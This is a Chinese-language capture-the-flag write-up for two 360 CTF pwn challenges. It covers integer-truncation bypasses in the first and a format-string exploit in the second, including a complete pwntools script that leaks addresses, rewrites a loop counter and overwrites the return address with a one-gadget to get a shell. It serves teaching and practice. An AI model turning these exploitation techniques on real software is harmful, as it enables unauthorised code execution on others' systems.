360 3CTF 初赛 Pwn

360 3CTF 初赛 Pwn wp

1.Pwn01

从main函数可以看到,逻辑很简单,两个bypass之后就直接拿flag

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(*(_QWORD *)&argc, argv, envp);
if ( (unsigned int)bypass1() && (unsigned int)bypass2() )
system("cat ./flag");
else
puts("failed!");
return 0;
}

接着看两个bypass的check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
signed __int64 bypass1()
{
int v1; // [rsp+8h] [rbp-38h]
int v2; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+10h] [rbp-30h]
char s; // [rsp+20h] [rbp-20h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(&s, 0, 0x10uLL);
puts("x: ");
read(0, &s, 0x10uLL);
puts("y: ");
read(0, &buf, 0x10uLL);
if ( strchr(&s, 45) || strchr(&buf, 45) )
return 0LL;
v1 = atoi(&s);
v2 = atoi(&buf);
if ( v1 > 359 || v2 > 359 || v1 - v2 != 360 )
return 0LL;
puts("level1 success!");
return 1LL;
}

bypass1的意思是输入两个0-359之间的数x,y,且满足x-y=360

正常来说是不存在的,这里的x和y是由atoi函数来获取

1
2
int X; // [rsp+8h] [rbp-38h]
int Y; // [rsp+Ch] [rbp-34h]
1
2
3
4
5
6
7
8
.text:00000000004009B5                 lea     rax, [rbp+ix]
.text:00000000004009B9 mov rdi, rax ; nptr
.text:00000000004009BC call _atoi
.text:00000000004009C1 mov [rbp+X], eax
.text:00000000004009C4 lea rax, [rbp+iy]
.text:00000000004009C8 mov rdi, rax ; nptr
.text:00000000004009CB call _atoi
.text:00000000004009D0 mov [rbp+Y], eax

只取eax,并且存放位置也是64位地址中的一半

所以这里存在32位溢出的情况,因为atoi内部是利用atol取得64位数再把低32位返回给eax,因此这里只要输入一个低32位为0xffffffff的大数就可以取到一个-1,另外一个数放359就可以

x=359

y=‭73014444031 (0x10ffffffff)

1
2
3
4
5
6
7
8
9
10
11
12
13
_BOOL8 bypass2()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
v1 = 0;
v2 = 0;
puts("Please input x and y:");
__isoc99_scanf("%d %d", &v1, &v2);
return v1 > 1 && v2 > 360 && v1 * v2 == 360;
}

bypass2是利用scanf控制符读入一个1-360以内的值,一个大于360的值,需要两者相乘为360

1
2
.text:0000000000400A89                 imul    eax, edx
.text:0000000000400A8C cmp eax, 360

可以发现这里是取存结果的低32位来比较,所以依旧溢出

ans=‭4294967656‬ (0x‭100000168‬)

ans=4*‭1073741914‬

x=4

y=‭1073741914‬

即可通过

1
2
3
4
5
6
7
8
9
10
➜  Desktop ./pwn01
x:
359
y:
73014444031 ^H
level1 success!
Please input x and y:
4
1073741914‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬
cat: ./flag: No such file or directory

2.Pwn02

一道格式化字符串,只是buf在.bss上,不能直接任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl main(int argc, const char **argv, const char **envp)
{
int idx; // [esp+Ch] [ebp-14h]
char buf; // [esp+10h] [ebp-10h]
unsigned int v6; // [esp+14h] [ebp-Ch]
int *v7; // [esp+18h] [ebp-8h]

v7 = &argc;
v6 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
puts("welcome to 360CTF_2019");
for ( idx = 0; idx < N; ++idx )// N=3
{
puts("1. Input");
puts("2. Exit");
read(0, &buf, 4u);
if ( atoi(&buf) != 1 )
{
if ( atoi(&buf) != 2 )
return 0;
break;
}
puts("It's time to input something");
read(0, &buff, 0x10u);
printf((const char *)&buff);
}
puts("Good luck to you!");
return 0;
}

同时还有一个idx的限制,原逻辑只能3次

在printf的时候查看一下栈结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> stack 30
00:0000esp 0xffffd300 —▸ 0x56557010 (buff) ◂— 'mask\n'
... ↓
02:00080xffffd308 ◂— 0x10
03:000c│ 0xffffd30c —▸ 0x56555737 (main+23) ◂— add ebx, 0x1881
(leak pie)
04:00100xffffd310 ◂— 0x1
05:00140xffffd314 —▸ 0x56556fb8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ed8
06:00180xffffd318 —▸ 0xffffd3e4 —▸ 0xffffd577 ◂— '/home/mask/Desktop/pwn02'
(leak and control stack)
07:001c│ 0xffffd31c ◂— 0x1
... ↓
09:00240xffffd324 ◂— 0x0
(hijack idx)
0a:00280xffffd328 —▸ 0xffff0a31 ◂— 0x0
0b:002c│ 0xffffd32c ◂— 0xcd422200
0c:00300xffffd330 —▸ 0xffffd350 ◂— 0x1
0d:00340xffffd334 ◂— 0x0
... ↓
0f:003c│ 0xffffd33c —▸ 0xf7e1d637 (__libc_start_main+247) ◂— add esp, 0x10
10:00400xffffd340 —▸ 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
12:00480xffffd348 ◂— 0x0
13:004c│ 0xffffd34c —▸ 0xf7e1d637 (__libc_start_main+247) ◂— add esp, 0x10
(leak libc and hijack retn address)

四处比较关键的地方

由于次数受限,我们可以先利用stack指针去修改idx的值为负数,这样可以多次利用

接着覆盖retn address为one gadget即可

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.terminal=['tmux','splitw','-h']
context.log_level='debug'
p=process("./pwn02")
def fmt(payload):
p.sendlineafter("t\n","1")
p.sendafter("g\n",payload.ljust(0x10,'\x00'))

def dbg(code):
gdb.attach(p,code)

leak='%3$p%6$p%15$p'
fmt(leak)
pie=int(p.recv(10),16)
esp=int(p.recv(10),16)-0x238+0x178-0x24
libc=int(p.recv(10),16)-0x18637
one=libc+0x3ac5e
print hex(pie)+'\n'+hex(esp)+'\n'+hex(libc)

jmp='%'+str((esp+0x24+2)&0xffff)+'c%6$hn'
fmt(jmp)

idx='%65535c%57$hn\x00'
#dbg("breakrva 0x81c")
fmt(idx)

jmp='%'+str((esp+0x4c)&0xffff)+'c%6$hn'
fmt(jmp)

hijack='%'+str(one&0xffff)+'c%57$hn'
fmt(hijack.ljust(0x10,'\x00'))

jmp='%'+str((esp+0x4c+1)&0xffff)+'c$%6$hn'
fmt(jmp)

hijack='%'+str((one&0xff0000)>>16)+'c%57$hhn'
print hex(one)
#dbg("breakrva 0x81c")
fmt(hijack.ljust(0x10,'\x00'))

p.sendafter("\n","2")
p.interactive()

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×